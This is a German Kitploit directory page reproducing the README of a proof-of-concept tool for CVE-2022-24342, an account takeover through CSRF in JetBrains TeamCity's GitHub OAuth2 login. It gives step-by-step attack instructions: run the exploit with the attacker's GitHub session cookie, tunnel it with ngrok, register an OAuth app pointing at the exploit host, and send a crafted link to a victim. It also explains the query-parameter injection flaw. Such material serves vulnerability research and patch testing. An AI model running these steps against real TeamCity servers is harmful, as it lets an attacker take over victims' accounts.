Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/yuriisanin/cve-2022-24342
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungRed Teaming
GitHubyuriisanin/cve-2022-24342

CVE-2022-24342

PoC für CVE-2022-24342: Kontenübernahme per CSRF in der GitHub-Authentifizierung

Repository anzeigen
3772vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-24342

JetBrains TeamCity – Kontoübernahme durch CSRF bei GitHub-Authentifizierung (PoC)

  • CVE-2022-24342
    • Anforderungen
    • Verwendung
    • Wie funktioniert es?
      • GitHub OAuth2: Verarbeitungsreihenfolge der Abfrageparameter
      • CVE-2022-24342: HTTP-Anfrageablauf

Anforderungen

  • JetBrains TeamCity <2021.2.1
  • GitHub-Authentifizierung aktiviert

Verwendung

  1. Versuchen Sie, sich mit dem GitHub-Konto des Angreifers bei der Ziel-TeamCity-Instanz anzumelden, um die GitHub-Anwendung von TeamCity zu autorisieren.

  2. Installieren & ausführen:

root@kitploit:~
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h

usage: exploit.py [-h] -s S [-p P]

optional arguments:
  -h, --help  show this help message and exit
  -s S        GitHub user session
  -p P        Uvicorn port

$ python3 exploit.py -s {attackers_github_session_cookie}

Wenn Sie den Exploit auf dem lokalen Rechner ausführen, benötigen Sie möglicherweise Ngrok oder Alternativen.

root@kitploit:~
$ ngrok http 8000
  1. Erstellen Sie eine GitHub-OAuth2-Anwendung:
root@kitploit:~
Startseite: "http://{exploit-host}:8000"
Autorisierungsrückruf-URL: "http://{exploit-host}:8000/callback"
  1. Senden Sie den folgenden Link an ein Opfer:
root@kitploit:~
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}

DEMO:

CVE-2022-24342 Demo

Wie funktioniert es?

TeamCity war anfällig für die Injektion von Abfrageparametern während des OAuth2-Ablaufs, was es einem Angreifer ermöglichte, einen Benutzer auf eine beliebige GitHub-OAuth2-Anwendung umzuleiten, einen gültigen Statusparameter abzufangen und ein beliebiges GitHub-Konto mit dem TeamCity-Konto des Opfers zu verbinden.

Dies war aufgrund der folgenden Punkte möglich:

  • GitHub OAuth2: Verarbeitungsreihenfolge der Abfrageparameter
  • TeamCity Abfrageparameter-Injektion

GitHub OAuth2: Verarbeitungsreihenfolge der Abfrageparameter

github-oauth-parameters-processing

CVE-2022-24342: HTTP-Anfrageablauf

requests-flow

Unterstützung

Sie können mir auf Twitter, GitHub oder YouTube folgen.

Tool herunterladen